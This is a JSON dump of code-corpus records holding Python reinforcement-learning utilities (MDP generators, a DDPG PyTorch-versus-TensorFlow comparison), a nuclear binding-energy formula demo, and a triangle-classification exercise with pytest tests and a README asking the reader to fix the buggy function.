[ { "alpha_fraction": 0.6412134170532227, "alphanum_fraction": 0.6486517786979675, "avg_line_length": 39.777252197265625, "blob_id": "de15f4669305ec1448e2d232cba6e8a8416f304f", "content_id": "853f8de453f7a897febfdbfeccafab26923dfda9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8604, "license_type": "no_license", "max_line_length": 169, "num_lines": 211, "path": "/common_rl_lib.py", "repo_name": "felixludos/mb-rl", "src_encoding": "UTF-8", "text": "import sys\nimport numpy as np\nget_ipython().magic(u'matplotlib notebook')\nimport matplotlib.pyplot as plt\nimport gym\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\nimport copy\nsys.path.append('p3')\nimport gridworld as gw\n\n\"\"\"Useful Dictionary variants for table lookup algorithms, and RL\"\"\"\nclass SafeDict(dict):\n def __init__(self, default=0.):\n self.default = default \n super(SafeDict, self).__init__()\n def __getitem__(self, idx):\n if idx not in self:\n return self.default\n return self.setdefault(idx, self.default)\n\nclass Policy:\n def __init__(self, decision=lambda x, a: None, default=None): # default chooses from action space if decision returns invalid action\n self.decision = decision # lambda with state as input\n self.default = default # lambda with action_space as input\n if self.default is None:\n self.default = lambda actions: np.random.choice(actions)\n def decide(self, state, action_space): # ideally action space is a set of possible actions\n action = self.decision(state, action_space) if state is not None else None\n if action not in action_space: # invalid decision\n return self.default(action_space)\n return action\n \nclass Const_Policy(dict): # policy where action space is independent of state\n def __init__(self, action_space, default=None): # works if action_space is constant\n self.default = default # must be a lambda that takes no args - to randomize action each time (only when action space is independent of state)\n if self.default is None:\n self.default = lambda: np.random.choice(action_space)\n super(Policy, self).__init__()\n def __getitem__(self, idx):\n if idx not in self:\n return self.default()\n return self.__getitem__(self, idx)\n\n\"\"\"Small MDP Generators with discrete state and action spaces\nWith either deterministic or stochastic actions\"\"\"\n# stochastic generator doesn't work yet\ndef generate_stochastic_dynamics(num_states=5, num_terminal=1, sparsity=0.5, reward_mag=2): # returns M(s,a,s') and R(s,a) and T(s) (state is terminal)\n dynamics = np.random.rand(num_states, num_states, num_states)\n rewards = np.random.randn(num_states, num_states) * reward_mag\n remove = np.random.choice(np.arange(0,dynamics.size,1,dtype=int), size=int(sparsity*dynamics.size),replace=False)\n for cell in remove:\n dynamics[cell/num_states**2,(cell/num_states)%num_states,cell%num_states] = 0\n terminal = np.zeros(num_states, dtype=bool)\n # l1 normalization of probabilities\n for i in range(num_states):\n for j in range(num_states):\n total = np.sum(dynamics[i,j,:])\n dynamics[i,j,:] /= total if total > 0 else 1\n terminal[i] = not np.sum(dynamics[i,:,:])\n \n # rewards\n rewards = np.random.rand()\n \n return dynamics\n\ndef generate_deterministic_dynamics(num_states=5, num_terminal=1, sparsity=0.5, reward_mag=2): # returns M(s,a)=s' and R(s,a) and list of terminal states\n dynamics = np.random.randint(num_states, size=(num_states, num_states))\n rewards = np.random.randn(num_states, num_states) * reward_mag\n remove = np.random.choice(np.arange(0,dynamics.size,dtype=int), size=int(sparsity*dynamics.size),replace=False)\n for cell in remove:\n dynamics[cell/num_states,cell%num_states] = -1 # means this transition is impossible\n rewards[cell/num_states,cell%num_states] = 0\n terminal = []\n # l1 normalization of probabilities\n for i in range(num_states):\n if np.sum(dynamics[i,:]) == -num_states: # terminal state\n terminal.append(i)\n if num_terminal is None:\n return dynamics, rewards, terminal # don't worry about number of terminal states\n # fixing the number of terminal states could change the density of transitions\n while len(terminal) > num_terminal: # too many terminal states\n s = terminal.pop()\n a = np.random.randint(num_states)\n dynamics[s,] = np.random.randint(num_states)\n rewards[s,cell%num_states] = 0\n while len(terminal) < num_terminal:\n s = np.random.randint(num_states)\n dynamics[s,:] = -np.ones(num_states)\n rewards[s,:] = np.zeros(num_states)\n terminal.append(s)\n return dynamics, rewards, terminal\n\nclass MDP_det:\n def __init__(self, num_states=5, num_terminal=1, sparsity=0.5):\n self.dynamics, self.rewards, self.terminal = generate_deterministic_dynamics(num_states, num_terminal, sparsity)\n self.num_states = num_states\n self.deterministic = True\n \n def reset(self):\n self.state = np.random.randint(self.num_states)\n \n def action_space(self, state=None):\n if state is None:\n state = self.state\n return np.arange(self.num_states)[self.dynamics[state,:]>=0]\n \n def step(self, action):\n reward = self.rewards[self.state, action]\n self.state = self.dynamics[self.state, action]\n if self.state == -1:\n raise Exception('Invalid state')\n return self.state, reward, self.state in self.terminal\n \n def isTerminal(self, state):\n return state in self.terminal\n \n def state_space(self):\n return np.arange(self.num_states)\n \n def getReward(self, action, newstate=None, state=None):\n if state is None:\n state = self.state\n return self.rewards[state, action]\n \n def getTransitions(self, action, state=None):\n if state is None:\n state = self.state\n return [(self.dynamics[state, action], 1.0)] # in a det MDP there is only 1 possible next state\n\n\"\"\"Wrapper for Gridworld MDPs\"\"\"\ngridWorlds = {'cliff':gw.getCliffGrid, 'cliff2':gw.getCliffGrid2, 'discount':gw.getDiscountGrid, 'bridge':gw.getBridgeGrid, 'book':gw.getBookGrid, 'maze':gw.getMazeGrid}\nclass GridMDP:\n def __init__(self, gridName=None, noise=0.2):\n if gridName is None:\n gridName = np.random.choice(gridWorlds.keys())\n self.gridName = gridName\n self.gridworld = gridWorlds[gridName]()\n self.gridworld.setNoise(noise)\n self.reset()\n \n def reset(self):\n self.state = self.gridworld.getStartState()\n \n def action_space(self, state=None):\n if state is None:\n state = self.state\n #print 's', state, self.gridworld.getPossibleActions(state)\n return self.gridworld.getPossibleActions(state)\n \n def sample_probs(self, probs): # returns next state\n sample = np.random.random()\n state, cumulative = probs[0]\n i = 0\n while sample > cumulative:\n i += 1\n cumulative += probs[i][1]\n state = probs[i][0]\n return state\n \n def step(self, action):\n newstate = self.sample_probs(self.gridworld.getTransitionStatesAndProbs(self.state, action))\n reward = self.gridworld.getReward(self.state, action, newstate)\n if reward < 0:\n reward = -1.\n if reward == 10:\n reward = 1.\n elif reward == 1:\n reward = 0.1\n reward -= .1\n if newstate == 'TERMINAL_STATE':\n newstate = (-1,-1)\n self.state = newstate\n return self.state, reward, self.gridworld.isTerminal(self.state)\n \n def isTerminal(self, state):\n return self.gridworld.isTerminal(state)\n \n def state_space(self):\n return self.gridworld.getStates()\n \n def getReward(self, action, newstate, state=None):\n if state is None:\n state = self.state\n return self.gridworld.getReward(state, action, newstate)\n \n def getTransitions(self, action, state=None):\n if state is None:\n state = self.state\n #print 't', state, action, '{', self.action_space(state) ,'}',\n trans = self.gridworld.getTransitionStatesAndProbs(state, action)\n #print 'leads to', trans\n return trans\n\n\"\"\"Discretize states and actions\"\"\"\ndef getDiscreteRange(low, high, graining):\n inc = (high-low)/(graining-1.)\n return np.arange(low,high+inc/2,inc)\n\ngraining = 19\npossible_state_values = getDiscreteRange(-1., 1., graining)\npossible_action_values = getDiscreteRange(-2, 2, graining)\n\ndef state_maker(observation):\n return tuple([possible_state_values[possible_state_values>=o][0] for o in observation[:-1]] + [int(observation[2]*graining)])\ndef action_maker():\n return possible_action_values\n" }, { "alpha_fraction": 0.5645756721496582, "alphanum_fraction": 0.5904058814048767, "avg_line_length": 23.545454025268555, "blob_id": "55537ea88dc4baa55b6b0c17ef08bda487aaeb2a", "content_id": "d4dc857c2e92938e1a5fe1a3b7fe875abff9d8c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 271, "license_type": "no_license", "max_line_length": 79, "num_lines": 11, "path": "/ddpg_torch/test_render.py", "repo_name": "felixludos/mb-rl", "src_encoding": "UTF-8", "text": "import gym\nimport numpy as np\n\nenv = gym.make('Pendulum-v0')\nfor e in range(10):\n print 'episode', e\n env.reset()\n for _ in range(1000):\n env.render()\n _,_,done,_ = env.step(env.action_space.sample()) # take a random action\n if done: break\n\n" }, { "alpha_fraction": 0.568755567073822, "alphanum_fraction": 0.5865755677223206, "avg_line_length": 26.924999237060547, "blob_id": "2fc5a34d7e826e98da647ae1b330c9723fa89d0e", "content_id": "d4457a39dfaa286dbf345cfc4604e84df5d0f4ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3367, "license_type": "no_license", "max_line_length": 90, "num_lines": 120, "path": "/transition_model.py", "repo_name": "felixludos/mb-rl", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nimport sys\n#%pdb\nimport gym\nimport copy\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch import Tensor\nfrom torch.autograd import Variable\nimport numpy as np\nfrom collections import namedtuple\nimport gc\ngc.enable()\n#np.core.arrayprint._line_width = 120\n\nEPISODES = 100\nPRINT_STEP = 10\n\nLAYER1_SIZE = 50\nLAYER2_SIZE = 50\nLEARNING_RATE = 1e-3\n\nBUFFER_SIZE = 10000\nBATCH_SIZE = 64\n\nclass TransitionModel(nn.Module):\n \n def __init__(self, state_dim, action_dim):\n super(TransitionModel, self).__init__()\n\n # make sure all params are initizialized randomly [-1/np.sqrt(dim),1/np.sqrt(dim)]\n self.layer1 = nn.Linear(state_dim,LAYER1_SIZE)\n self.action_layer = nn.Linear(action_dim,LAYER2_SIZE,bias=False)\n self.layer2 = nn.Linear(LAYER1_SIZE,LAYER2_SIZE)\n self.output_layer = nn.Linear(LAYER2_SIZE,state_dim)\n\n def forward(self, state, action):\n x = F.relu(self.layer1(state))\n x = F.relu(self.action_layer(action) + self.layer2(x))\n ns = self.output_layer(x)\n return ns # predicted q value of this state-action pair\n\ntotal_epochs = 0\n\ndef collect(max_samples=BUFFER_SIZE):\n global memory\n \n env = gym.make('Pendulum-v0')\n \n memory = []\n \n \n while len(memory) < max_samples:\n \n state = env.reset()\n state = torch.from_numpy(state).float().view(1,-1)\n \n for step in range(env.spec.timestep_limit):\n \n action = env.action_space.sample()\n \n new_state, _, done, _ = env.step(action)\n \n action = torch.from_numpy(action).float().view(1,-1)\n new_state = torch.from_numpy(new_state).float().view(1,-1)\n \n memory.append((state, action, new_state))\n \n if done:\n break\n \n memory = np.array(memory)\n\ndef reset():\n global model, criterion, optimizer\n model = TransitionModel(env.observation_space.shape[0], env.action_space.shape[0])\n \n criterion = nn.MSELoss()\n optimizer = optim.Adam(model.parameters(), lr=LEARNING_RATE)\n \n\ndef train(epochs=1000):\n global env, model, memory, criterion, optimizer, total_epochs\n \n for _ in range(epochs):\n \n total_loss = 0\n \n batches = np.array_split(memory, len(memory) / BATCH_SIZE)\n \n for minibatch in batches:\n \n state_batch = torch.cat([data[0] for data in minibatch],dim=0)\n action_batch = torch.cat([data[1] for data in minibatch],dim=0)\n next_state_batch = torch.cat([data[2] for data in minibatch],dim=0)\n \n loss = criterion(model(Variable(state_batch),Variable(action_batch)), \n Variable(next_state_batch))\n \n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n if total_epochs and total_epochs % PRINT_STEP == 0:\n total_loss += loss.data[0]\n \n if total_epochs and total_epochs % PRINT_STEP == 0:\n print 'Epoch', total_epochs, 'Loss', total_loss / len(batches)\n \n total_epochs += 1\n\n\nreset()\ncollect()\ntrain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6168501973152161, "alphanum_fraction": 0.6328439116477966, "avg_line_length": 38.584774017333984, "blob_id": "75f7790121a31ed33d68cd702c7219a86d498364", "content_id": "e049a00af592511670be2d3c52f8c2293500352d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11442, "license_type": "no_license", "max_line_length": 177, "num_lines": 289, "path": "/ddpg_torch/ddpg_control_data.py", "repo_name": "felixludos/mb-rl", "src_encoding": "UTF-8", "text": "\n# coding: utf-8\n\n# In[1]:\n\nimport sys\nimport gym\nimport copy\nimport random\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch import Tensor\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\nimport numpy as np\nimport filter_env\nfrom ou_noise import OUNoise\nfrom replay_buffer import ReplayBuffer # <- has setting to either get constant batches (most recent exp), or random batches\nimport tensorflow as tf\nimport math\nimport ddpg_tf # tf net\nimport gc\ngc.enable()\nnp.core.arrayprint._line_width = 120\n\n# Hyperparameters/Settings\nSEED = 5\n\nVERBOSE = True\n\nACTOR_BN = False\nLAYER1_SIZE = 400\nLAYER2_SIZE = 300\nLEARNING_RATE = 1e-3\nL2 = 0.01\nTAU = 0.001\nBATCH_SIZE = 50\n\nREPLAY_BUFFER_SIZE = 200\nREPLAY_START_SIZE = 50\nGAMMA = 0.99\n\nrandom.seed(SEED)\nnp.random.seed(SEED)\ntorch.manual_seed(SEED)\n\n# ignore\n# functions for replacing torch params with tf params\nparam_translation = {#'actor.layer0_bn.bias':'batch_norm_0/beta:0',\n #'actor.layer0_bn.weight':'batch_norm_0/gamma:0',\n 'actor.layer1.bias':'actorb1:0',\n 'actor.layer1.weight':'actorW1:0',\n #'actor.layer1_bn.bias':'batch_norm_1/beta:0',\n #'actor.layer1_bn.weight':'batch_norm_1/gamma:0',\n 'actor.layer2.bias':'actorb2:0',\n 'actor.layer2.weight':'actorW2:0',\n #'actor.layer2_bn.bias':'batch_norm_2/beta:0',\n #'actor.layer2_bn.weight':'batch_norm_2/gamma:0',\n 'actor.output_layer.bias':'actorb3:0',\n 'actor.output_layer.weight':'actorW3:0',\n 'critic.action_layer.weight':'critic_W2a:0',\n 'critic.layer1.bias':'critic_b1:0',\n 'critic.layer1.weight':'critic_W1:0',\n 'critic.layer2.bias':'critic_b2:0',\n 'critic.layer2.weight':'critic_W2:0',\n 'critic.output_layer.bias':'critic_b3:0',\n 'critic.output_layer.weight':'critic_W3:0'}\n\ndef replaceNetParams(tf_net, torch_net, torch_target_net=None):\n \n #torch_vars = dict(torch_net.state_dict())\n \n tf_vars = dict([(str(v.name),v) for v in tf_net.all_vars])\n for name, param in torch_net.named_parameters():\n param.data.copy_(torch.Tensor(tf_vars[param_translation[str(name)]].eval().T).float())\n \n if torch_target_net is not None:\n for name, param in torch_target_net.named_parameters():\n param.data.copy_(torch.Tensor(tf_vars[param_translation[str(name)][:-2]+'/ExponentialMovingAverage:0'].eval().T).float())\n\n# torch net definitions\nclass ActorCriticNet(nn.Module):\n def __init__(self, state_dim, action_dim):\n super(ActorCriticNet, self).__init__()\n\n self.actor = ActorNet(state_dim, action_dim)\n self.critic = CriticNet(state_dim, action_dim)\n\n def forward(self, state):\n action = self.actor(state)\n value = self.critic(state, action)\n return value\n\n def getAction(self, state):\n return self.actor(state)\n\n def getValue(self, state, action=None):\n if action is None:\n return self.critic(state, self.actor(state))\n return self.critic(state, action)\n\n #def train(self): # might not be necessary\n # self.critic.train()\n # self.actor.train()\n \n #def eval(self): # might not be necessary\n # self.critic.eval()\n # self.actor.eval()\n\nclass CriticNet(nn.Module):\n\n def __init__(self, state_dim, action_dim):\n super(CriticNet, self).__init__()\n\n # make sure all params are initizialized randomly [-1/np.sqrt(dim),1/np.sqrt(dim)]\n self.layer1 = nn.Linear(state_dim,LAYER1_SIZE)\n self.action_layer = nn.Linear(action_dim,LAYER2_SIZE,bias=False)\n self.layer2 = nn.Linear(LAYER1_SIZE,LAYER2_SIZE)\n self.output_layer = nn.Linear(LAYER2_SIZE,1)\n\n def forward(self, state, action):\n x = F.relu(self.layer1(state))\n x = F.relu(self.action_layer(action) + self.layer2(x))\n q = self.output_layer(x)\n return q # predicted q value of this state-action pair\n\nclass ActorNet(nn.Module):\n def __init__(self, state_dim, action_dim):\n super(ActorNet, self).__init__()\n\n # make sure all params are initizialized randomly [-1/np.sqrt(dim),1/np.sqrt(dim)]\n if ACTOR_BN: self.layer0_bn = nn.BatchNorm1d(state_dim,affine=False)\n self.layer1 = nn.Linear(state_dim,LAYER1_SIZE)\n if ACTOR_BN: self.layer1_bn = nn.BatchNorm1d(LAYER1_SIZE,affine=False)\n self.layer2 = nn.Linear(LAYER1_SIZE,LAYER2_SIZE)\n if ACTOR_BN: self.layer2_bn = nn.BatchNorm1d(LAYER2_SIZE,affine=False)\n self.output_layer = nn.Linear(LAYER2_SIZE,action_dim)\n\n def forward(self, state):\n if ACTOR_BN: state = F.relu(self.layer0_bn(state))\n x = self.layer1(state)\n if ACTOR_BN: x = self.layer1_bn(x)\n x = F.relu(x)\n x = self.layer2(x)\n if ACTOR_BN: x = self.layer2_bn(x)\n x = F.relu(x)\n action = F.tanh(self.output_layer(x))\n return action # predicted best actions\n\ndef calc_error(a,b):\n return np.sqrt(np.sum((a-b)**2))\n\ndef main(args):\n if VERBOSE: print '***The Replay Buffer currently always returns the most recent experiences (instead of random), so the batches are constant between the tf and torch nets.'\n \n state_dim = 3\n action_dim = 1\n\n net = ActorCriticNet(state_dim,action_dim)\n\n target_net = copy.deepcopy(net)\n memory = ReplayBuffer(REPLAY_BUFFER_SIZE)\n noise = OUNoise(action_dim)\n\n criterion = nn.MSELoss()\n optimizer = optim.Adam(net.parameters(), lr=LEARNING_RATE, weight_decay=L2)\n target_optim = optim.Optimizer(target_net.parameters(), {}) # to iterate over target params\n\n if VERBOSE: print '***Making gym env (only used to setup TF net).'\n \n # load tf net (restoring saved parameters)\n dtf = ddpg_tf.DDPG_TF(filter_env.makeFilteredEnv(gym.make('Pendulum-v0')),loadfilename='tf_params-0',printVars=False)\n\n \n if VERBOSE: print '***TF net restore complete.'\n\n # load control data (only using a every fourth data), and tf net results\n control_states = np.load('control_states.npy')[::4]\n control_rewards = np.load('control_rewards.npy')[::4]\n tf_record = np.load('tf_control_record.npy')\n \n # replace torch params with tf params, and run control data, collecting torch net results\n # first optimization step will occur at i == 50, upon which extra data is recorded to compare tf and torch\n # using: no bn, REPLAY_BUFFER_SIZE=200, REPLAY_START_SIZE=50, BATCH_SIZE=50, constant replay_buffer_batches (always the most recent experiences)\n replaceNetParams(dtf, net, target_net)\n\n if VERBOSE: print '***Torch net params initialized to TF net params.'\n\n original_net = copy.deepcopy(net) # save original net\n original_target_net = copy.deepcopy(target_net)\n\n torch_record = []\n\n loss = -1\n first_step = True\n\n for i in xrange(len(control_rewards)-1):\n state = torch.from_numpy(control_states[i].reshape(1,state_dim)).float()\n action = net.getAction(Variable(state)).data\n target_action = target_net.getAction(Variable(state)).data\n\n reward = torch.FloatTensor([[control_rewards[i]]]).float()\n\n new_state = torch.from_numpy(control_states[i+1].reshape(1,state_dim)).float()\n\n memory.add(state,action,reward,new_state,True)\n if memory.count() > REPLAY_START_SIZE:\n minibatch = memory.get_batch(BATCH_SIZE)\n state_batch = torch.cat([data[0] for data in minibatch],dim=0)\n action_batch = torch.cat([data[1] for data in minibatch],dim=0)\n reward_batch = torch.cat([data[2] for data in minibatch])\n next_state_batch = torch.cat([data[3] for data in minibatch],dim=0)\n done_batch = Tensor([data[4] for data in minibatch])\n\n # calculate y_batch from targets\n #next_action_batch = target_net.getAction(Variable(next_state_batch))\n value_batch = target_net.getValue(Variable(next_state_batch)).data\n y_batch = reward_batch + GAMMA * value_batch * done_batch\n\n if first_step:\n if VERBOSE: print '***First Optimization Step complete.'\n torch_ys = y_batch\n torch_batch = minibatch\n torch_outs = net.getValue(Variable(state_batch)).data\n\n # optimize net 1 step\n loss = criterion(net.getValue(Variable(state_batch)), Variable(y_batch))\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n loss = loss.data[0]\n\n # update targets - using exponential moving averages\n for group, target_group in zip(optimizer.param_groups, target_optim.param_groups):\n for param, target_param in zip(group['params'], target_group['params']):\n target_param.data.mul_(1 - TAU)\n target_param.data.add_(TAU, param.data)\n\n if first_step:\n first_step_net = copy.deepcopy(net)\n first_step_target_net = copy.deepcopy(target_net)\n first_step = False\n\n torch_record.append([action.numpy()[0][0], target_action.numpy()[0][0],loss])\n loss = -1\n\n torch_record = np.array(torch_record)\n torch_outs = torch_outs.numpy().T[0]\n torch_ys = torch_ys.numpy().T[0]\n\n if VERBOSE: print '***Control Data run complete.'\n\n # compare torch and tf results\n # results for each net have 3 columns: [net action prediction, target net action prediction, loss (-1 if there was no training)]\n sel = np.arange(45,55)\n #print calc_error(tf_record[sel,:], torch_record[sel,:])\n print 'Result comparison:'\n print 'control_data_index | tf_net_action | tf_target_net_action | tf_loss | torch_net_action | torch_target_net_action | torch_loss'\n print np.hstack([sel[:,np.newaxis],tf_record[sel,:], torch_record[sel,:]])\n print '\\t(a loss of -1 means no training occured in that step)'\n\n\n # load all tf results from before taking first optimization step\n tf_ys = np.load('tf_first_step_y_batch.npy')\n tf_rs = np.load('tf_first_step_reward_batch.npy')\n tf_ds = np.load('tf_first_step_done_batch.npy')\n tf_vs = np.load('tf_first_step_value_batch.npy')\n tf_outs = np.load('tf_first_step_output_values.npy')\n torch_wd = 1.36607 # weight decay loss of tf net at first optimization step - recorded directly from terminal output of tf net\n\n if VERBOSE:\n print '***Comparing first step stats'\n\n # compare tf and torch data from before taking first optimization step\n # including calculation of manual loss\n print '\\terror in ys (between tf and torch)', calc_error(torch_ys, tf_ys)\n print '\\terror in predictions (between tf and torch)', calc_error(torch_outs, tf_outs)\n print '\\ttorch loss (manually calculated)', np.mean((torch_ys - torch_outs)**2)\n print '\\ttf loss (manually calculated)', np.mean((tf_ys - tf_outs)**2)\n print '\\ttorch loss', torch_record[50,2], '(not including weight decay)'\n print '\\ttf loss', tf_record[50,2] - torch_wd, '(not including weight decay)'\n\n return 0\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n\n" } ]
4
py1sl/nuc_modelling
https://github.com/py1sl/nuc_modelling
d12c402ad02cbe6083feeebb002b6f0e904844e9
5bd2ce78da6d085b1e3bc482f66475eee826bd3a
6dab5fe2d492cee20cfaed2db2a00176e64daa32
refs/heads/master
2022-11-12T03:31:27.195825
2020-07-01T14:28:30
2020-07-01T14:28:30
276,381,994
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.48051947355270386, "alphanum_fraction": 0.521335780620575, "avg_line_length": 18.469879150390625, "blob_id": "090f774710d34d05a7650bcacaa57e908a4a8005", "content_id": "4e60d46d6f7e5246f6b909f0c56b986118e5b09d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1617, "license_type": "no_license", "max_line_length": 80, "num_lines": 83, "path": "/main.py", "repo_name": "py1sl/nuc_modelling", "src_encoding": "UTF-8", "text": "\"\"\"\nShort demo code for nucleus simulation\n\"\"\"\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport logging\nimport glob\nimport os\n\n\nclass particle():\n \"\"\" particle info \"\"\"\n \n def __init__(self):\n self.charge = 0\n self.mass_amu = 1\n self.energy = 100\n self.rest_mass = 0\n self.name = \"ball\"\n self.symbol = \"b\"\n self.x = 0\n self.y = 0\n self.z = 0\n self.u = 0\n self.v = 0\n self.w = 0\n \n \ndef em_force(p1, p2):\n return 0\n\ndef strong_force(p1, p2):\n return 0\n\n\ndef SEMF(n, z):\n \"\"\" semi empirical mass formula\n n = neutron number\n z = proton number\n \"\"\"\n \n # atomic mass\n a = n + z\n\n # parameters from J. W. Rohlf, \"Modern Physics from alpha to Z0\", Wiley (1994).\n aV = 15.75\n aS = 17.8\n aC = 0.711\n aA = 23.7\n delta = 11.18\n \n # need to know if odd or even numbers of neutrons and protons\n if ((n%2) == 0) and ((z%2) == 0):\n sgn = 1\n elif ((n%2) != 0) and ((z%2) != 0):\n sgn = -1\n else:\n sgn = 0\n\n # The SEMF for the average binding energy per nucleon.\n E = (aV - aS / a**(1/3) - aC * z**2 / a**(4/3) -\n aA * (a-2*z)**2/a**2 + sgn * delta/a**(3/2))\n\n return E\n\ndef main():\n # set logging up\n logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)\n \n logging.info('Started')\n logging.info(\"Reading data\")\n\n bind_erg = SEMF(10, 10)\n print(bind_erg)\n\n logging.info(\"Analysis complete\")\n\n\nif __name__ == \"__main__\":\n main()\n\n" } ]
1
k----n/myers-triangle
https://github.com/k----n/myers-triangle
63e3295f5320161c7bf9edda7f3e3f4afc0a6cd3
aa78d5b01cae191c7f310bb3ba686dc93def4189
58badb6b4f876e2c5989c9c3fb5bc9706adcbe69
refs/heads/master
2020-12-29T10:31:58.265392
2020-02-07T14:50:15
2020-02-07T14:50:15
238,575,549
1
2
null
null
null
null
null
[ { "alpha_fraction": 0.583156406879425, "alphanum_fraction": 0.6284500956535339, "avg_line_length": 22.549999237060547, "blob_id": "a02d88967164fc5576547cebddf987565983859e", "content_id": "e2eb662fbcda456895374b12eef8bb1068dc18ff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1413, "license_type": "permissive", "max_line_length": 58, "num_lines": 60, "path": "/validTriangle_test.py", "repo_name": "k----n/myers-triangle", "src_encoding": "UTF-8", "text": "import pytest\nfrom validTriangle import triangleType\n\n\ndef testEquilateral():\n assert triangleType(6, 6, 6) == 'Equilateral Triangle'\n\n\ndef testIsosceles():\n assert triangleType(6, 6, 5) == 'Isosceles Triangle'\n\n assert triangleType(5, 6, 5) == 'Isosceles Triangle'\n\n assert triangleType(6, 5, 5) == 'Isosceles Triangle'\n\n\ndef testScalene():\n assert triangleType(4, 5, 6) == 'Scalene Triangle'\n\n\ndef testInvalid():\n # Use the triangle inequality theorem\n # x >= (y + z) ==> !triangle\n # y >= (x + z) ==> !triangle\n # z >= (x + y) ==> !triangle\n\n assert triangleType(10, 2, 2) == 'Invalid Triangle'\n assert triangleType(2, 5, 2) == 'Invalid Triangle'\n assert triangleType(2, 2, 5) == 'Invalid Triangle'\n\n\ndef testError():\n # Triangle sides should be in (0,10]\n\n with pytest.raises(ValueError):\n triangleType(25, 19, 25)\n\n with pytest.raises(ValueError):\n triangleType(19, 25, 25)\n\n with pytest.raises(ValueError):\n triangleType(25, 25, 19)\n\n with pytest.raises(ValueError):\n triangleType(-1, 5, 5)\n\n with pytest.raises(ValueError):\n triangleType(5, -1, 5)\n\n with pytest.raises(ValueError):\n triangleType(5, 5, -1)\n\n with pytest.raises(ValueError):\n triangleType(0, 5, 5)\n\n with pytest.raises(ValueError):\n triangleType(5, 0, 5)\n\n with pytest.raises(ValueError):\n triangleType(5, 5, 0)\n" }, { "alpha_fraction": 0.8071182370185852, "alphanum_fraction": 0.8071182370185852, "avg_line_length": 78.09091186523438, "blob_id": "ae6176d0e205dafb90a84f42879c5257a9576f85", "content_id": "f17cfeaba5bfea542dbcf29dce5b9bc28bcf4840", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 871, "license_type": "permissive", "max_line_length": 252, "num_lines": 11, "path": "/README.md", "repo_name": "k----n/myers-triangle", "src_encoding": "UTF-8", "text": "# Myer's Triangle\nThis code is based off the example for testing created by Glen Myers:\n\"The program reads three integer values from a card. The three values are interpreted as representing the lengths of the sides of a triangle. The program prints a message that states whether the triangle is scalene, isosceles, equilateral, or invalid.\"\n\n# Test Case Generation\nTest cases were created using the equivalence partitioning method, there is not full coverage of all possible inputs but provides good enough coverage.\nAssigning all the possible test cases for equivalence partitioning should not be done as it is impractical.\nBe aware that some strongly typed languages do not require specific test cases as exceptions are already raised for them (e.g. Swift raises an error when integer overflow is present).\n\n# TODO\nFix the triangleType method so that all test cases pass. \n" }, { "alpha_fraction": 0.6038575768470764, "alphanum_fraction": 0.6083086133003235, "avg_line_length": 34.421051025390625, "blob_id": "981944d459895f83a5f5ea2cde0a03c45ddfe475", "content_id": "bb8f4a46f9eee995c13f8f599a246f912f5a55e5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 674, "license_type": "permissive", "max_line_length": 77, "num_lines": 19, "path": "/validTriangle.py", "repo_name": "k----n/myers-triangle", "src_encoding": "UTF-8", "text": "def triangleType(x, y, z):\n \"\"\"\n Determine if the triangle is valid given the length of each side x,y,z.\n \n :param x: First side of triangle\n :param y: Second side of triangle\n :param z: Third side of triangle\n :returns: Whether a triangle is an 'Equilateral Triangle',\n 'Isosceles Triangle', 'Scalene Triangle', or 'Invalid Triangle'\n :raises valueError: if the sides are not within (0,10]\n \"\"\"\n if x == y == z:\n return 'Equilateral Triangle'\n elif x == y or y == z:\n return 'Isoceles Triangle'\n elif x != y and x != z and y != z:\n return 'Scalene Triangle'\n else:\n return 'Invalid Triangle'\n\n" } ]
3
RichWolff/statviz
https://github.com/RichWolff/statviz
8dc756c157d4fb0de6149d89e0376f9ea1b63088
56faeb554eb36214fafd716484f11b0ea83661ea
1e7f1cd0934ce1719206d445d6d2b4c49b6d30dc
refs/heads/master
2020-05-25T17:17:51.861807
2019-05-22T01:39:58
2019-05-22T01:39:58
187,906,033
0
0
null
null
null
null
null
